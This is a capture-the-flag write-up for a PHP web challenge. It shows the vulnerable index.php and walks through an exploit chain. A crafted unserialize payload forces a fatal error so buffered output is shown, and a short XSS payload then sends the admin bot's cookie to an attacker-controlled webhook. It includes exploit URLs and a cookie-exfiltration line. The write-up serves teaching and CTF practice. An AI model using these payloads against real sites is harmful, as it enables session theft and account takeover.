Tags: xss php web 

Rating:

The page displays the source code of index.php
```
name = $nam;
$this->isAdmin=False;
}
}

ob_start();
if(!(isset($_GET['login']))){
$use=new User('guest');
$log=serialize($use);
header("Location: ?login=$log");
exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){

if(stripos($new_name, 'script'))//no xss :p
{
$new_name = htmlentities($new_name);
}
$new_name = substr($new_name, 0, 32);
echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1>
';
echo '<h1>Contact admin /req.php </h1>';

}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
setcookie("session", $flag, time() + 3600);
}
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);
```

On first glance, this problem looks like just a XSS vulnerability, but the `ob_start();` and `ob_end_clean();` mean that all of the output between the two are buffered and then discarded.

First, let's note that one of the referenced files is `req.php`, which is a page that we can submit links for the `admin` to look at. The assumption here would be that the admin's IP address is `127.0.0.1`, which would properly set the cookie with the flag.

Now this problem looks impossible. However, if we look at the documentation page of `ob_start()`, [one of the comments](https://www.php.net/manual/en/function.ob-start.php#108016) mentions that if an `E_ERROR` is thrown, the buffer will be output properly.

Thus, the problem becomes getting a fatal error thrown by one of the functions. In this case, the only _interesting_ function is the `unserialize` function.

If we look at the documention for this function, we are again saved by the comments. [One user notes](https://www.php.net/manual/en/function.unserialize.php#112894) that if you try to serialize a class that can't be initiated (like abstract classes or interfaces), PHP will throw a fatal error.

Now we just need to find any interface or abstract class. I chose to use `Traversable` with a payload of `O:11:"Traversable":0:{}`.

Now, we are able to get a working XSS exploit with a url like `http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=alert(1)>`.

We just need a tiny (32 char) XSS payload. For this, we can use a short, 4 character or less domain name (can abuse [punycode](https://en.wikipedia.org/wiki/Punycode)) (e.g. `http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=import('//attk')>`) or store our exploit in [`window.name`](https://developer.mozilla.org/en-US/docs/Web/API/Window/name).

Our XSS content should just be to send a request to a webserver we control, with the contents of `document.cookie`. For example, `window.location.href = 'https://attacker/webhook?' + document.cookie'`.

Now that we have the XSS part working, we need to make sure the cookie is actually set. For this, we can just host a page where we have an iframe to `http://xsser.3k.ctf.to/`. When the iframe loads, we redirect the user to our XSS exploit.

Now, we just need to submit the link to our page to `req.php` and then watch our webserver logs. Note that when submitting, all instances of `http://xsser.3k.ctf.to/` should be replaced with `http://127.0.0.1/` so the client IP address will correctly be set to `127.0.0.1`